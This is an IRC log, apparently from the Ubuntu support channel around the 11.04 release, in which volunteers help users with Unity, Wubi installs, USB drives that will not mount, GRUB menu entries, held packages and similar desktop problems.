[22:52] <Aginor> !ask | sburwood1
[22:52] <ubottu> sburwood1: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[22:53] <dfclark_> Thank you, to all
[22:53] <lapion> Stereocaulon, you can allways install the oracle sun version by enabling restricted/non-free software
[22:53] <teemo> shcherbak, any of those GUI?
[22:53] <Stereocaulon> ErikM_, I'm puzzled here. I use a nVidia 9600 LT GPU which is quite similar to your card. My displayed Version is 270.41.06
[22:54] <sburwood1> I've been trying to burn CDs, both images (Natty) and data disks.  I keep coming back with unknown errors (254, for example)
[22:54] <shcherbak> teemo: Nope, htop is very easy, but you have menu > system > Admin > System monitor (with gui)
[22:54] <consolecowboy> i need to write a script that mimicks the highlighting of the word the cursor is currently at. how could this be achieved?
[22:54] <ErikM_> Stereocaulon: you are on 11.04 and the driver is working properly on your side?
[22:54] <sburwood1> the disks aren't burnt.  Why?
[22:54] <shcherbak> teemo: Are you on Unity?
[22:55] <Stereocaulon> lapion, on 10.10 that option did not work for me. I got stuck in dependency hell, in spite of the .deb package.
[22:55] <ice9> Is there anyone that is using the Iwl3945 driver with Aircrack-ng on Natty
[22:55] <ErikM_> Stereocaulon: oh, looks like I am not the only one : http://askubuntu.com/questions/37084/nvidia-driver-activated-but-currently-not-in-use
[22:56] <toto654> someone use ekiga here?
[22:56] <RavenHursT> so if I wanna do a `cp -R * /tmp/somefolder` on a dir tree.. how do I modify that command so that ALL files (including files like .htaccess etc) and dirs will be copied?
[22:56] <Stereocaulon> ErikM_, yes, you are correct. The version I use is designated "Current". Mind you, I have upgraded from 10.10. Mine was no clean install.
[22:57] <Aginor> RavenHursT: cp -r <src> <target>?
[22:57] <lapion> Stereocaulon, the ubuntu software center should install it..
[22:57] <ErikM_> Stereocaulon: ok, I first upgrade from ubuntu 10.10 to 11.04, then because of unity installed Kubuntu on same partition freshly....
[22:57] <pasjr> Has any one been able to enable rgba true in Ubuntu 11.04 with Unity?
[22:57] <teemo> how can i rearrange things on the new ubuntu launcher sidebar
[22:58] <RavenHursT> Aginor: isn't that effectively the same thing?  `cp -R * /tmp` ?
[22:58] <lapion> Stereocaulon,  just type jdk into the search of ubuntu software center
[22:58] <Jordan_U> teemo: Click and hold the icon you want to re-arrange, then drag (after it pops off the launcher).
[22:58] <shcherbak> RavenHursT: cp -r /directory/with/dots/ /to/
[22:58] <Stereocaulon> lapion, I will once I'll need to develop another Java program ;-)
[23:00] <RavenHursT> shcherbak: but I don't want to copy the parent dir.. I want o copy it's contents.. there's no way to do that w/o first copying the dir as a whole?
[23:00] <venik212> I am having trouble with SAMBA after upgrading to 11.04
[23:00] <lapion> can anyone tell em how to enable adding and removing plugins from the unity panels ?
[23:00] <venik212> same smb.conf file
[23:00] <pasjr> ? Has any one been able to enable rgba true in Ubuntu 11.04 with Unity?  If so please IM me thank you
[23:00] <Aginor> RavenHursT: seeing your last statement
[23:00] <Stereocaulon> lapion, that is...a program that refuses to compile under openjdk. I am not exactly a big fan of Oracle, as you might have gathered.
[23:00] <Aginor> RavenHursT: cp -r .??* * <target>
[23:00] <venik212> I get error messages like: cannot retrieve sahre list form server
[23:00] <xsinick> how to make desktop icon of my favorite apps?
[23:00] <RavenHursT> Aginor.. lmtt
[23:01] <Aginor> RavenHursT: it wasn't clear that you didn't want to copy the first directory
[23:01] <Stereocaulon> lapion, If I spoke freely about that company, I would be unable to keep this channel civilised and family friendly :-P
[23:01] <lapion> Stereocaulon, simply edit the source and remove the checks for jdk version
[23:02] <Aginor> RavenHursT: lmtt?
[23:02] <RavenHursT> Aginor: Awesome!~  That worked!
[23:02] <RavenHursT> thnx
[23:02] <xsinick> how to make desktop icon of my favorite apps?
[23:02] <RavenHursT> Aginor: Let Me Try That
[23:02] <ErikM_> Stereocaulon: back in a minute, restart computer
[23:02] <Stereocaulon> lapion, I can try that next time I'll need it. Thanks again for the suggestion :-)
[23:02] <bibleboy> hello
[23:02] <RavenHursT> Aginor: So why doesn't cp confuse the second '*' with being the dest?
[23:02] <xsinick> how to make desktop icons of my favorite apps on Natty Narwhal?
[23:03] <lightbricko> Anyone knows if sugarsync or dropbox works well in Ubuntu?
[23:03] <RavenHursT> Aginor: didn't know you could just keep listing files to copy like that..
[23:03] <bibleboy> is there any way to install ubuntu on my windows xp pc without partitioning my hard drive but without internet
[23:03] <skybound> RavenHursT: you can use "shopt -s dotglob"; now globbing with "*' will include hidden files
[23:03] <aeon-ltd> bibleboy: pre download iso, same directory as wubi, then wubi
[23:03] <tyler_d> I have tried a few diff methods to get my tray icons back to no avail.... anyone have a solution to get apps like ekiga, davmail, amsn to show on your icontray?
[23:04] <bibleboy> thanks:-D
[23:04] <RavenHursT> skybound.. thnx.. Aginor just gave me a good command for cp: cp -r .??* * <target>
[23:04] <Froq__> Does anyone have a fix for the crappy VNC over 11.04?
[23:04] <bibleboy> will ubuntu run on 512 mb
[23:04] <consolecowboy> i'll rephrase: i need a command tool that will let me select or highlight the word a cursor is currently on, to be further processed with xsel and other tools
[23:04] <aeon-ltd> bibleboy: but you will need some internet source for the iso ofcourse
[23:04] <bibleboy> wait what do you mean smae directory
[23:04] <Aginor> RavenHursT: you can, and the last one is always the target
[23:04] <aeon-ltd> bibleboy: 512 is fine, though personally i'd use lubuntu, xubuntu or start from server for reducing all unneccessary 'weight'
[23:04] <Stereocaulon> !requirements | bibleboy
[23:05] <ubottu> bibleboy: Hardware requirements to install, boot and comfortably use Ubuntu are listed at https://help.ubuntu.com/community/Installation/SystemRequirements - For a !flavor with lower requirements, see !Xubuntu or !Lubuntu
[23:05] <gridbag> in 10.10, how do I add something to the Addplication/Graphics Menu ?
[23:05] <aeon-ltd> bibleboy: in the same folder as the wubi installer
[23:05] <Pici> gridbag: Run alacarte, that is the menu editor application name.
[23:05] <Aginor> RavenHursT: the ?? in .??* are important, without them you'll end up having .. in the list of files to copy, and things will go poorly
[23:05] <bibleboy> i have a win 7 pc with internet but want to install it on my old win xp along with xp
[23:05] <bibleboy> ok ill try that
[23:06] <RavenHursT> Aginor: you rock.. thanks man
[23:06] <bibleboy> my iso cd has wubi on it do i need internet for that or can i just use that
[23:07] <toto654> i have no sound with ekiga....anyone use it?
[23:07] <RavenHursT> Aginor++
[23:07] <bibleboy> do  need internet to install wubi from my ubuntu cd i made from the iso
[23:08] <bibleboy> it has wubi on it
[23:08] <bibleboy> because i dont feel like having to start my live cd in persistent mode every time
[23:08] <Aginor> RavenHursT: happy to help :D
[23:09] <skybound> consolecowboy: i think you'll get more answers when you try to explain what you are trying to do; i still don't get what you are asking; cursor in any (focused) window?
[23:09] <ray24> Can you download without entering password?
[23:09] <bibleboy> my ubuntu cd has a wubi installer on it. do i need internet to use it
[23:10] <wad> Enjoying the niceness of 11.04, but I'm not getting the multiple workspaces. I've got this workspace switcher that lets me look at other desktops, but I don't know how to move windows beteen them. I miss my desktop cube....
[23:11] <bibleboy> i can switch workspaces fine
[23:11] <wad> bibleboy: How?
[23:11] <erik333> just click and drag afaik
[23:12] <consolecowboy> skybound: yes, so if i'm typing anywhere, text editor, browser, i can hit a key that will run a little script. first thing i need it to do is 'highlight' the word that has just been typed
[23:12] <bibleboy> well you may have had a problem installing ubuntu or its a bug. I am using the live cd
[23:12] <consolecowboy> i'm aiming for a text replacement tool
[23:12] <BlaDe^> Stereocaulon / minimec here?
[23:12] <consolecowboy> (used snippits but can't install in 11.04)
[23:13] <BlaDe^> It says new high speed usb device using ehci_hcd and address 68
[23:13] <BlaDe^> usb-storage etc etc
[23:13] <bibleboy> can i install ubuntu using the wubi on my cd i made from the iso file off the site.
[23:13] <Froq__> Anyone know why VNC is unusable in 11.04?  It worked fine for me in 10.04
[23:13] <BlaDe^> but it doesn't show up anywhere? doesn't seem to mount
[23:13] <Tomas> hello
[23:13] <Stereocaulon> BlaDe^, nice...
[23:13] <xsinick> how to make desktop icons of my favorite apps on Natty Narwhal?
[23:13] <BlaDe^> Stereocaulon any ideas why it isn't mounting now?
[23:13] <bibleboy> idk i am new to ubuntu 11.04 i have only used 10.10
[23:13] <BlaDe^> scsi10: usb-storage 2-2:1.0 --- but no mount
[23:13] <Tomas> would do you speak russian?
[23:14] <bibleboy> could some1 answer me
[23:14] <Stereocaulon> BlaDe^, well, that's a start, mounting is the next step. Please pastebin the output of sudo fdisk -l
[23:14] <Tomas> (((
[23:14] <Tomas> I must learn english(
[23:14] <bibleboy> yes u must
[23:14] <tyler_d> does anyone know how to get tray icons to show?
[23:15] <BlaDe^> Stereocaulon http://pastie.org/1862149
[23:15] <Tomas> use ubuntu classic man))
[23:15] <xsinick> how to make desktop icons of my favorite apps on Natty Narwhal?
[23:15] <Tomas> would do you like 11.04 ?
[23:16] <bibleboy> hmm let me think xsinick
[23:16] <Tomas> in russia people dont like unity)) and many people back to 10.10 or 10.04
[23:16] <Glycan> Hello
[23:16] <Tomas> hello
[23:16] <Geoffrey2> is Gnome 3 even an option in Natty, or does that need to be installed manually from source?
[23:16] <BlaDe^> Tomas just use Ubuntu Classic
[23:16] <histo> Tomas: if you don't likie unity you can run classic mode rather than switching back to 10.10
[23:16] <BlaDe^> Geoffrey2 it has to be done manually
[23:17] <consolecowboy> xsinick: if the application is in the menu, you can right click and 'add this launcher to desktop'
[23:17] <Glycan> I'm trying to make an liveCD, but the save to thing doesn't work to the cd I put in.
[23:17] <consolecowboy> i think
[23:17] <histo> Geoffrey2: from ppa
[23:17] <histo> Geoffrey2: http://news.softpedia.com/news/How-to-Install-GNOME-3-on-Ubuntu-11-04-194085.shtml
[23:18] <bibleboy> for the live cd try just burning the ubutnu iso to a cd. thats the way i made my live cd im running right now
[23:18] <Stereocaulon> BlaDe^, Hmm, I see...the device gets detected, as usb-storage even, but it does not even show up on the list of all partitions (both mounted and unounted) :-S
[23:19] <Stereocaulon> BlaDe^, unounted => umounted
[23:19] <BlaDe^> Stereocaulon so what's the next step?
[23:19] <Glycan> I can't find the cd to burn to.
[23:19] <Glycan> U doesn't see it.
[23:19] <uwex> anyone knows some good organizer/planer? not devolution
[23:19] <RavenHursT> ok.. I remember doing this somehow.. but I have a script that has a `mysql -u someuser -e 'execute this'; in it.. but I can't remember how to set up someuser to be allowed to run mysql commands w/o a password... had something to do w/ adding "NOPASSWORD' to some conf file or something.. Anyone know what I'm talking about?
[23:19] <bibleboy> Can I install Ubuntu from the Wubi on my Ubuntu installation cd without using internet.
[23:19] <Geoffrey2> I'm going to spend a little more time playing with the current setup, but Natty feels like Ive gone to a completely new operating system
[23:20] <bibleboy> i know doent it feel like that. I want gnome back instead of unity.
[23:21] <histo> bibleboy: select classic from the session drop down on the login screen and you will have gnome back
[23:21] <Belial`> kaie, FFFFFFFFFFFFUUUUUUUUUUUUUUUUUUUUUUU
[23:21] <histo> !language | Belial`
[23:21] <ubottu> Belial`: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[23:21] <Stereocaulon> BlaDe^, This could point to the possibility of a partition table that is somehow unreadable by your installation, though I admit that this is a long shot indeed...
[23:21] <bibleboy> can i do that from the livecd cause` thats what i use. I dont have natty installed anywhere
[23:21] <AlexGer> hallo, i'm installing "Zentyal" Ubuntu and get during the installation proces an errormessage. It's free translated from german..
[23:21] <BlaDe^> Stereocaulon it's literally a brand new installation done about 3 hours ago
[23:22] <kaie> I really can't believe that. netbook with 10.10. it worked fine for a long time. yesterday it went to sleep. I woke it up, it came up, then it crashed. after reboot, I find that then contents of two partitions are totally corrupted. fsck.ext4 even says there is no ext4 filesystem on them
[23:22] <skybound> consolecowboy: i see; didn't know snippits, that actually worked? i don't know about any such program, sorry
[23:22] <Stereocaulon> BlaDe^, is the HDD encrypted in any way, like with Bitlocker or something similar?
[23:22] <konata> Hey, I'm trying out the cloud demo online
[23:23] <AlexGer> Could'nt find an installable Kernel in the APT-Sources
[23:23] <konata> Is that time remaining thing there just for looks?
[23:23] <sponzor> hi i have a "trojan.exe" and i want to see the source code of exe file.. is there any program in linux that can help me?
[23:23] <konata> It hasn't moved or changed since I logged in
[23:23] <Geoffrey2> my big issue right now is that, on my desktop with an external monitor, dmesg output is total garbage.....
[23:23] <Belial`> kaie, you still using elementary?
[23:23] <bibleboy> hmm try reinstalling ubuntu kaie. u may have 2 start using 11.04
[23:23] <kaie> bibleboy, my data partitions are gone
[23:24] <BlaDe^> Stereocaulon nope it's not
[23:24] <bibleboy> um make an installation cd and repartition from the installer
[23:25] <consolecowboy> skybound: yeah, i found snippits in lifehacker, became one of my favourite apps, very simple, a little buggy, no longer developed, ruby. but couldn't install because i can't seem to upgrade rubygems. i could try harder to do this, but i figured i might try to write my own version
[23:25] <bibleboy> youll lose everything though
[23:25] <Geoffrey2> I run dmesg | more, and all I get is screen after screen of error messages
[23:26] <AlexGer> hello, i'm installing "Zentyal" Ubuntu. During the installation process i receive the following errormessage. (free translated from german..)
[23:26] <AlexGer> Could'nt find an installable Kernel in the APT-Sources
[23:26] <kaie> bibleboy, I know how to start from scratch, but I wonder if that is a known problem. I can't believe going to sleep and wakeup can delete all my partitions
[23:26] <Superstar_> How do I make the command line ssh send keep alive packets? I keep getting disconnected
[23:26] <bibleboy> probably not.
[23:26] <glycan_> Hello
[23:27] <bibleboy> U may have gotten one of the RARE linux viruses
[23:27] <Froq__> UndiFineD: so if they have been able to make the pixel changes always fit the TCP frame, why is it never refreshing as I move my mouse over the frame?
[23:27] <Froq__> Anyone know why VNC is unusable in 11.04?  It worked fine for me in 10.04
[23:27] <bibleboy> I need this ? answered now. can i install wubi from the wubi on my ubuntu 11.04 installation cd without an internet connection.
[23:29] <bibleboy> :)
[23:30] <KM0201> bibleboy: why not just properly partition your drive, and install it from a cd?
[23:30] <bibleboy> i dont want to lose windows
[23:30] <Lachezar> Hello people... I am having problems with Unity: I get many visual deffects, including stripes, white zones, etc.
[23:30] <KM0201> bibleboy: you won't lose windows if you pay attention..
[23:30] <Lachezar> My video: ATI Technologies Inc Mobility Radeon HD 3650
[23:30] <Stereocaulon> What has taken the place of /var/log/messages in Natty? I'm trying to monitor hardware changes, like the insertion of an USB stick.
[23:31] <KM0201> bibleboy: honestly, in my experience, you run a bigger risk of something happening to windows with Wubi,l than a "normal" dual boot system
[23:31] <bibleboy> I want to do wubi so i can get rid of it easy
[23:31] <raichlea> hi all, I installed samba on natty and it wants 'the administrative password'.. it doesn't like mine and I don't know the root one.  What can I do?
[23:31] <KM0201> bibleboy: just don't say i didn't warn you.. removing wubi is often problematic.. been there.. wn't do it again, its much easier to remove a "normal" ubuntu install.
[23:31] <bibleboy> ive used wubi before so i want to use it again
[23:31] <KM0201> bibleboy: wel, good luck.
[23:32] <bibleboy> ive done it before no problem
[23:32] <KM0201> bibleboy: and i've done it multiple times, w/ several problems.. so.. i guess we just have different experiences
[23:32] <bibleboy> I use an uninstaller program to uninstall
[23:32] <skybound> consolecowboy: yes, sounds like a neat idea (reminds me of the plan9 editor/wm?); if the last-typed-word was already in the xclipboard it would be easy, getting it there seems to be the trick; you might want to try some xlib-programming related chan?
[23:32] <bibleboy> what windows did you use
[23:33] <bibleboy> well i had one problem
[23:33] <bibleboy> i didnt have enough space on my HD
[23:33] <bibleboy> but that was it
[23:33] <consolecowboy> skybound: right, thanks, i'll see what i can find
[23:33] <bibleboy> nothing other
[23:33] <bibleboy> so i guess ill just try
[23:34] <bibleboy> see ya
[23:34] <BlaDe^> Stereocaulon --- it shows up in lsusb too
[23:34] <BlaDe^> Device 069: ID ....... <model/version/etc>
[23:35] <Stereocaulon> BlaDe^, yes, so it should, it registers even as an usb-storage device. I'm grinding my brains here why it does still not show up in sudo fdisk -l
[23:35] <BlaDe^> ill reboot and test
[23:35] <BlaDe^> all I want to do is move a file from one laptop to another
[23:35] <Stereocaulon> BlaDe^, don't please test the following first...
[23:36] <BlaDe^> it's gonna take 6 hours via wifi
[23:36] <BlaDe^> Stereocaulon it's already rebooting
[23:36] <Stereocaulon> BlaDe^, Yes, that would be silly indeed.
[23:36] <Stereocaulon> BlaDe^, you are chatting on a different computer than the one you are debugging, right?
[23:37] <pooltable> hi
[23:37] <BlaDe^> Stereocaulon yes
[23:37] <pooltable> is any one use ing the new unity thing?
[23:37] <BlaDe^> Stereocaulon it's just booted up, nothing has been plugged in yet
[23:37] <belak> Is there a way to remove memtest and the recovery kernel from the boot menu?
[23:39] <coz_> belak,  memtes can be "not shown"  from sudo gedit /etc/default/grub
[23:39] <Stereocaulon> BlaDe^, I'm trying to compare the behaviour of a USB pen drive/ card reader to your WD Passport drive, to see what step is missing (shown in the syslog) There must be something different there, so that we can concentrate on the process that does not follow through.
[23:39] <bastidrazor> coz_: gksudo :)
[23:40] <coz_> belak,  if you open that file... near the middle of the list,, you will see several lines starting with "#Uncomment".
[23:40] <belak> Ah, ok
[23:40] <belak> Thanks!
[23:40] <coz_> belak,  read them carefully to see what options you have by Uncommenting any of the lines
[23:40] <beanstalk> How do I remove or unhold "held packages?" It's preventing me from upgrading
[23:40] <bastidrazor> !pin | beanstalk
[23:40] <ubottu> beanstalk: pinning is an advanced feature that APT can use to prefer particular packages over others. See https://help.ubuntu.com/community/PinningHowto
[23:40] <bastidrazor> beanstalk: this tells how to unpin them, too
[23:40] <beanstalk> bastidrazor: thanks, I'll take a look
[23:41] <belak> I see disable_recovery bit I don't see anything for memtest
[23:42] <beanstalk> bastidrazor: except it doesn't say how to find out which packages are being held. do you know how to do that?
[23:42] <coz_> belak,   mm I thought there was one for that,, well.. probably the best thing to do is go to the #grub channel as well
[23:43] <coz_> belak,  between the two channels ,, someone should have a good solution with grub2... i am not an expert with it yet
[23:43] <belak> Ok, thanks
[23:44] <ZykoticK9> belak, in /etc/grub.d "sudo chmod -x 20_memtest86+"
[23:44] <belak> Ah, I just set 20_memtest -x
[23:44] <coz_> belak,  there is a little utility name  "grub-customizer"  I have NOT tested it at all   will try now
[23:44] <belak> ZykoticK9: nice timing. :P
[23:44] <beanstalk> How do I find out which packages on my system are being held?
[23:45] <coz_> belak,   just in case you want to test it as well    http://www.howtogeek.com/howto/43471/how-to-configure-the-linux-grub2-boot-menu-the-easy-way/
[23:45] <Stereocaulon> BlaDe^, in your /var/log/syslog, the attachment of your drive should show up right after you connect it. You can follow the running additons to syslog  with tail -f /var/log/syslog
[23:46] <Stereocaulon> BlaDe^, please excuse my spelling. It's all over the place: additons => additions.
[23:46] <bastidrazor> beanstalk: what makes you think packages are being held back? pinning is a manual step, it isn't something that automatically happens.
[23:47] <beanstalk> bastidrazor: I can't upgrade my system and a message pops up saying that an error is being caused likely by held packages
[23:47] <Stereocaulon> BlaDe^, I will be hitting the hay in about a quarter of an hour, so there is a high probability that someone else has to pick up where I left you.
[23:47] <beanstalk> I found a forum post saying that if I remove xserver-xorg-video-nouveau, but I don't know if that'll be bad for my system; how can I tell if the package is being used?
[23:47] <BlaDe^> Stereocaulon no problem hold on while I go through that
[23:48] <belak> There's an abi change with nouveau... and there's a different package that I think needs to be installed?
[23:48] <gedO> Hi guys. I have one little problem. I'm unable to install gnome tweak tool
[23:48] <BlaDe^> Stereocaulon usbcore says it registered new interface driver ums-cypress
[23:49] <BlaDe^> Stereocaulon it says eery few seconds:
[23:49] <BlaDe^> reset high speed USB device using ehci_hcd and address 2
[23:49] <BlaDe^> said that 4 times
[23:49] <BlaDe^> then, scsi 6:0:0:0 Device offlined - not ready after error recovery
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[23:50] <Topy44> hi, how can i turn off flow control for a serial port for wine? the software i am using in wine doesnt have settings for it
[23:50] <Baram> I just updated (10.04 64bit) after being gone for a while (175 updates) and I know a new version of both firefox and chrome were in there, now I cannot type Korean in either (but can in all other programs)
[23:50] <Osmodivs> Hello. Ok, so I sudo chmod in a /usr/share/amsn folder so I could drag and drop some files to /amsn/skins folder, but nowm the /usr/share/amsn folder does not have a lock icon, but inside that folder, ALL of the files have a lock icon. Is there a way to undu this?
[23:50] <BlaDe^> Stereocaulon did you see that, above all the spam?
[23:50] <Stereocaulon> BlaDe^, That reset is not good.
[23:50] <BlaDe^> any ideas what would cause it ?
[23:51] <Osmodivs> I sudo chmod 7777
[23:51] <Stereocaulon> BlaDe^, my first suggestion would still be lack of power, even though Windows will be able to use it just fine.
[23:51] <BlaDe^> Stereocaulon this is a different HDD now
[23:51] <BlaDe^> has its own power supply -- it's a caddy. just foudn it
[23:51] <BlaDe^> the last one is probably lack of juice as you said
[23:52] <BlaDe^> was a passport drive so entirely usb powered
[23:52] <gedO> Hi. I have problem installing gnome tweak tool
[23:52] <gedO> How I could fix this?
[23:52] <kevin_> Osmodivs, you need to use a -R to recurse subdirectories if you want everything under /amsn to take on the new properties
[23:52] <Stereocaulon> BlaDe^, so this output is registered with another drive ?!
[23:53] <BigMig> I just updated to Natty Narwal yest from the last version using the updater and i all i see is flashing icons and cannot do anything?
[23:53] <BigMig> can i fix somehow
[23:53] <BlaDe^> Stereocaulon yeah
[23:53] <BlaDe^> Stereocaulon the first one was a 250GB passport drive, nice and portable, wasn't detected AT ALL so likely power issue
[23:54] <BlaDe^> second one is a SATA caddy with its own power supply, is picked up displays in lsusb and gives those errors above.. Doesn't mount.
[23:54] <multipass_> How do i install a .bin file? I have adobe reader file for linux which is .bin
[23:54] <Osmodivs> kevin_, Like: sudo chmod 7777 -D /usr/share/amsn
[23:54] <OerHeks> gedO, gnome tweak tool for gnome 3 ? >> https://live.gnome.org/GnomeTweakTool
[23:54] <BlaDe^> multipass_ ubuntu has a pdf reader already
[23:54] <Stereocaulon> BlaDe^, so that external drive, having lots of power, still won't connect? OK, prepare for a simpleton question. Ready?...Did you use the same *cable* when connecting your HDD under Windows as under Natty?
[23:55] <multipass_> BlaDe^, yeah.. wish i could use it, but the work i do needs these special comment things etc
[23:55] <BlaDe^> Stereocaulon heheh yeah, I only have one usb cable :)
[23:55] <sparrW> can't be the only one who's asked... How do I get a taskbar back in 11.04?
[23:55] <bastidrazor> bean_: type apt-cache policy ...the last line will say Pinned packages::     and thus list them
[23:56] <Kyle__> multipass_: are you talking about a bin and cue file?
[23:56] <Stereocaulon> multipass_, a .bin file can be executed if you give it executable rights. Before that I would *highly* recommend that you run it through file to see if it is indeed a Linux ELF binary or similar.
[23:57] <Jordan_U> multipass_: Do *not* try to install Adobe reader that way.
[23:57] <multipass_> the file is "AdbeRdr9.4.2-1_i486linux_enu.bin"
[23:57] <multipass_> ah ok, :b
[23:57] <BigMig> I updated Ubuntu using the updater from the last verision to Natty Narwal and after update all I see is flashing icons and cant do anything. I'd perfer not to have to downlaod the lice cd and reinstall that way, can anybody point me in the right direction
[23:57] <Stereocaulon> BlaDe^, is your mouse a plain vanilla mouse, or is it a gaming mouse which lots of thingamabobs?
[23:57] <Kyle__> multipass_: 1, you can install adobe reader through apt-get, and maybe even the software center
[23:58] <Jordan_U> multipass_: Open Ubuntu Software Center and search for Adobe Reader.
[23:58] <multipass_> yeah you are right, thanks... idk why i didnt try that first
[23:58] <Kyle__> multipass_: 2, the only reason to use adobe-reader is if you need to fill out PDF forms.
[23:58] <multipass_> Kyle__, i had trouble selecting and copying text with the default app
[23:58] <multipass_> is that possible?
[23:58] <Angelic> I can't connect to wireless for some reason -- however it shows the wireless networks but the wireless networks that I want to connect to are grayed.
[23:58] <BlaDe^> Stereocaulon mouse isn't plugged in
[23:58] <BlaDe^> only used it to test the port
[23:59] <Stereocaulon> BlaDe^, You see...I'm clutching at straws here O_o
[23:59] <soreau> Guys my natty wont load ubuntu classic session. It worked the first time, but since I switched to 'ubuntu' and back to 'classic ubuntu', now all sessions load unity regardless. How can I fix it?
[23:59] <BlaDe^> Stereocaulon no problem. It's getting late now, I'll copy it via wifi overnight.. 6 hours.. lol
[23:59] <Kyle__> multipass_: I don't know, that's not something I've had to do much.  You can try using pdf2text or pdftotext (both should be avialable) to get text out.
[23:59] <BlaDe^> Stereocaulon thanks a lot for your help! Appreciate it
[23:59] <silvertip257> Hello, I'm attempting to PXE boot live CDs for Ubuntu-based distros.  I have PXE (DHCP+TFTP) and NFS working.  Problem arises as NetworkManager changes the interface and disconnects the NFS share (client).  I have not yet been able to get a Fedora live CD to boot as well.
[00:00] <BigMig> anybody? please just point me in the right direction
[00:00] <Stereocaulon> BlaDe^, np, I like to help other people (and I get frustrated when I don't succeed at it) ;-)
[00:01] <xskydevilx> How to I convert a *.ogv file to *.avi ?
[00:01] <soreau> My natty wont load ubuntu classic session. It worked the first time, but since I switched to 'ubuntu' and back to 'classic ubuntu', now all sessions load unity regardless. How can I fix it?
[00:01] <Angelic> I can't connect to wireless for some reason -- however it shows the wireless networks but the wireless networks that I want to connect to are grayed.
[00:01] <soreau> Is there some file that controls the session?
[00:02] <BigMig> I updated Ubuntu using the updater from the last verision to Natty Narwal and after update all I seeis flashing icons and cant do anything. I'd perfer not to have to downlaod the lice cd and reinstall that way, can anybody point me in the right direction
[00:02] <Captainkrtek> Angelic, use Yelp
[00:02] <Stereocaulon> BlaDe^, it is indeed getting late (1:00 AM here), so I'll follow my plan and I'll head for my bed now. Good luck resolving this. Could be a partially supported chipset or another device that is somehow interfering.
[00:02] <Captainkrtek> Angelic, there is already a guide for resolving network issues
[00:02] <zizban> /usr/share/sessions ?
[00:02] <Angelic> where?
[00:02] <Captainkrtek> Angelic, open a terminal, type yelp
[00:03] <freeman_> i am running ubuntu 64 bit on my single processor netbook. should i worry or is it ok?
[00:03] <CodeGnome> BigMig: You mean your desktop is hosed, or what?
[00:03] <soreau> zizban: That directory doesn't even exist. I would assume it would be some file in /etc
[00:03] <Angelic> its just displaying a white panel
[00:04] <happolati> Did I get another nvidia driver when i upgraded to 11.04? Google earth suddenly won't work, I get : Xlib:  extension "GLX" missing on display ":0.0".
[00:04] <rednammoc> little question about booting my encrypted hd during boot. i added a line to /etc/crypttab and another to /etc/fstab. During boot it asks about the hd. Pressing 'M' i get to manual mode. ls /dev/mapper/ --> the hd is not mapped to this folder. manually steps like: cryptsetup luksOpen /dev/sdb my_map; mount /dev/mapper/my_map /media/the_map -- are working. any ideas what's wrong :-?
[00:04] <happolati> Google Earth has caught signal 11.
[00:04] <BigMig> no i dual boot and just ubuntu is screwed
[00:04] <Captainkrtek> Angelic, Ill try to help you, what's the issue?
[00:04] <soreau> happolati: Pastebin your /var/log/Xorg.0.log file to pastebin.ca
[00:04] <CodeGnome> BigMig: That's kind of vague. Screwed how?
[00:04] <Angelic> Captainkrtek: Well, its seeing the wifi networks but the wifi networks available is showing in grey.
[00:05] <Captainkrtek> Angelic, have you tried disabling-re-enabling your adapter
[00:05] <Captainkrtek> just uncheck the box "wireless networking" then re-check it
[00:05] <zizban> soreau, I have /usr/share/xsessions
[00:05] <BigMig> after boot it shows blinking icons and doesnt let me do anythinh
[00:05] <linuxman410> does anyone know of a linux program that will clone my harddrive so i do not have to reload when i change the harddrive
[00:05] <Angelic> Captainkrtek: Tried, still the same result.
[00:06] <Captainkrtek> Angelic, is this new?
[00:06] <Captainkrtek> Angelic, or did you just upgrade to natty
[00:06] <freeman_> i am running ubuntu 64 bit on my single processor netbook. should i worry or is it ok?
[00:06] <BigMig> it worked before the update
[00:06] <Angelic> Captainkrtek: Its new.
[00:06] <soreau> zizban: That appears to contain the session files, but not the config file to select which it's using
[00:06] <BigMig> perfectly
[00:06] <Captainkrtek> Angelic, install any new software? is this a new adapter?
[00:06] <geus> Angelic, maybe you accidentally turned of wireless by means of fn+f2 or a switch/button on the side?
[00:06] <CodeGnome> BigMig: You can try a couple of things. Do a cold boot; Windows can hose firmware. If it's just your graphical desktop that's hosed, you can delete your gnome directories and try with a fresh desktop.
[00:06] <BigMig> my question is where to find out how to fix it without downloading a disk and reinstlling
[00:06] <zizban> soreau, right. Does it show all the sessions?
[00:06] <Angelic> Captainkrtek: Lastly I put quite a few updates on it.
[00:06] <soreau> zizban: yep
[00:07] <Captainkrtek> Angelic, open Synaptic file manager
[00:07] <Captainkrtek> then go File -- History
[00:07] <CodeGnome> BigMig: So, GDM doesn't show up at all after booting?
[00:07] <zizban> so you select Unity, log out, login and it doesn't change?
[00:07] <Topy44> ok, never mind my flow control problem from before... i have a windows app that uses the serial port which works fine on windows, but in wine it can send but not receive data. sending data works, and other windows apps in wine (like putty for example) work fine too.
[00:07] <BigMig> no all i see is my desktop backround and blinking icons
[00:08] <Angelic> geus: Its an IBM R32.
[00:08] <BigMig> if by cold boot u mean manually resetting the computer and selecting the kernel i do that
[00:08] <Angelic> Captainkrtek: Done.
[00:08] <Topy44> minicom on the same serial port at the same time recieves the data fine, but it somehow never reaches the windows app in wine
[00:08] <CodeGnome> BigMig: Fine, so you're actually booting and getting a desktop. Try CTRL-ALT-F1 to get a TTY, log in, and remove your desktop folders:
[00:08] <Glycan> How come, with a WUbi install,  I hav e0 bytes left on \, but 24GB on \host?
[00:08] <Captainkrtek> Angelic, go to file --> history
[00:08] <tepster> cold boot = power computer off
[00:08] <zizban> soreau, check and see if you have a /etc/gdm/custom.conf
[00:08] <CodeGnome> BigMig: .gnome/          .gnome2/         .gnome2_private/
[00:09] <Glycan> And how do I reloacate said memory?
[00:09] <Angelic> Captainkrtek: I am in there and now I see all the history.
[00:09] <BigMig> thanks i will try that
[00:09] <rednammoc> little question about booting my encrypted hd during boot. i added a line to /etc/crypttab and another to /etc/fstab. During boot it asks about the hd. Pressing 'M' i get to manual mode. ls /dev/mapper/ --> the hd is not mapped to this folder. manually steps like: cryptsetup luksOpen /dev/sdb my_map; mount /dev/mapper/my_map /media/the_map -- are working. any ideas what's wrong :-?
[00:09] <Captainkrtek> okay, find anything related to kernel updates or your wireless card?
[00:09] <soreau> zizban: Yes
[00:09] <CodeGnome> BigMig: Hope that helps.
[00:10] <zizban> soreau, Is is this a new install or upgrade
